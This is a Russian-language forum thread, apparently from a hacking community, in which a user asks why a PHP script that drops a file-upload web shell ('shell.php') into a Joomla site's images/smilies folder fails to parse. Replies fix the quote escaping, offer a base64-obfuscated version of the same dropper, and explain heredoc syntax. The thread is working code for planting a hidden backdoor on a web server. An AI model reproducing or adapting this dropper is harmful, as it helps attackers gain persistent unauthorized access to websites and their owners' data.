скрипт для закачки шелла - Непонятная ошибка

Discussion in 'PHP' started by fastnull, 25 Sep 2007.

  1. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Здравствуйте!
    Я тут скриптик один дописал для закачки шелла, но там постоянно лезет ошибка начиная с 11-й строки, скажите, в чём ошибка?

    Выдаёт
    Parse error: parse error, unexpected T_STRING in z:\home\localhost\www\script2.php on line 11

    <?php

    $file = fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php", "w");

    fwrite ($file, "<html>
    <head>
    <title>Результат загрузки файла</title>
    </head>
    <body>
    <h2><p><b> Форма для загрузки файлов </b></p></h2>
    <form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="filename"><br>
    <input type="submit" value="Загрузить"><br>
    </form>
    <?php
    if(isset($_FILES)) {
    if($_FILES["filename"]["size"] > 1024*3*1024)
    {
    echo ("Размер файла превышает три мегабайта");
    exit;
    }
    if(copy($_FILES["filename"]["tmp_name"],
    "C:\WebServers\home\localhost\www\joomla\images\smilies\

    ".$_FILES["filename"]["name"]))
    {
    echo("Файл успешно загружен <br>");
    echo("Характеристики файла: <br>");
    echo("Имя файла: ");
    echo($_FILES["filename"]["name"]);
    echo("<br>Размер файла: ");
    echo($_FILES["filename"]["size"]);
    echo("<br>Каталог для загрузки: ");
    echo($_FILES["filename"]["tmp_name"]);
    echo("<br>Тип файла: ");
    echo($_FILES["filename"]["type"]);
    } else {
    echo("Ошибка загрузки файла");}
    }
    else {
    echo "Загрузите файлы!";
    };
    ?>
    </body>
    </html>");

    fclose($file);

    ?>
     
    #1 fastnull, 25 Sep 2007
    Last edited: 25 Sep 2007
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    1) ты _вообще_ не экранировал ковычки
    PHP:
    <?php

    $file 
    fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php""w");

    fwrite ($file"<html>
    <head>
    <title>Результат загрузки файла</title>
    </head>
    <body>
    <h2><p><b> Форма для загрузки файлов </b></p></h2>
    <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
    <input type=\"file\" name=\"filename\"><br>
    <input type=\"submit\" value=\"Загрузить\"><br>
    </form>
    <?php
    if(isset(
    $_FILES)) {
    if(
    $_FILES[\"filename\"][\"size\"] > 1024*3*1024)
    {
    echo (\"Размер файла превышает три мегабайта\");
    exit;
    }
    if(copy(
    $_FILES[\"filename\"][\"tmp_name\"],
    \"C:\WebServers\home\localhost\www\joomla\images\smi lies\

    \".
    $_FILES[\"filename\"][\"name\"]))
    {
    echo(\"Файл успешно загружен <br>\");
    echo(\"Характеристики файла: <br>\");
    echo(\"Имя файла: \");
    echo(
    $_FILES[\"filename\"][\"name\"]);
    echo(\"<br>Размер файла: \");
    echo(
    $_FILES[\"filename\"][\"size\"]);
    echo(\"<br>Каталог для загрузки: \");
    echo(
    $_FILES[\"filename\"][\"tmp_name\"]);
    echo(\"<br>Тип файла: \");
    echo(
    $_FILES[\"filename\"][\"type\"]);
    } else {
    echo(\"Ошибка загрузки файла\");}
    }
    else {
    echo \"Загрузите файлы!\";
    };
    ?>
    </body>
    </html>"
    );

    fclose($file);

    ?>
    2) проще заменить " на ' или ещё проще в base64 всё запихнуть
    PHP:
    <?php
    $data
    =base64_decode("PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT7Q5efz6/zy4PIg5+Dj8PPn6ugg9ODp6+A8L3RpdGxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8aDI+PHA+PGI+INTu8OzgIOTr/yDn4OPw8+fq6CD04Onr7uIgPC9iPjwvcD48L2gyPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQo8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZW5hbWUiPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLH4OPw8+fo8vwiPjxicj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX0ZJTEVTKSkgew0KaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQp7DQplY2hvICgi0ODn7OXwIPTg6evgIO/w5eL7+ODl8iDy8Ogg7OXj4OHg6fLgIik7DQpleGl0Ow0KfQ0KaWYoY29weSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLA0KIkM6XFdlYlNlcnZlcnNcaG9tZVxsb2NhbGhvc3Rcd3d3XGpvb21sYVxpbWFnZXNcc21pIGxpZXNcDQoNCiIuJF9GSUxFU1siZmlsZW5hbWUiXVsibmFtZSJdKSkNCnsNCmVjaG8oItTg6esg8/Hv5fjt7iDn4OPw8+bl7SA8YnI+Iik7DQplY2hvKCLV4PDg6vLl8Ojx8ujq6CD04Onr4DogPGJyPiIpOw0KZWNobygiyOz/IPTg6evgOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsibmFtZSJdKTsNCmVjaG8oIjxicj7Q4Ofs5fAg9ODp6+A6ICIpOw0KZWNobygkX0ZJTEVTWyJmaWxlbmFtZSJdWyJzaXplIl0pOw0KZWNobygiPGJyPsrg8uDr7uMg5Ov/IOfg4/Dz5+roOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSk7DQplY2hvKCI8YnI+0ujvIPTg6evgOiAiKTsNCmVjaG8oJF9GSUxFU1siZmlsZW5hbWUiXVsidHlwZSJdKTsNCn0gZWxzZSB7DQplY2hvKCLO+Ojh6uAg5+Dj8PPn6ugg9ODp6+AiKTt9DQp9DQplbHNlIHsNCmVjaG8gIsfg4/Dz5+jy5SD04Onr+yEiOw0KfTsNCj8+DQo8L2JvZHk+DQo8L2h0bWw+");
    $file fopen("Z:\\home\localhost\www\joomla\images\smilies\shell .php""w");
    fwrite ($file$data);
    fclose($file);
    ?>
     
    _________________________
    2 people like this.
  3. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Есть такая забавная конструкция в php, которая существенно облегчит твою задачу:

    PHP:

    $var 
    = <<<HTML

    чего то там с кавычками " ',
    тегами пхп ?> %> и тем, чего только твоя душа захочет

    This uses the "here document" syntax to output
    multiple lines with 
    $variable interpolation. Note
    that the here document terminator must appear on a
    line with just a semicolon. no extra whitespace!

    HTML; //<-- обязательно с новой строки и с ; в конце. Вместо HTML любая последовательность в верхнем регистре

     
    1 person likes this.
  4. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Спасибо! Вроде бы разобрался :)
     
    #4 fastnull, 27 Sep 2007
    Last edited: 27 Sep 2007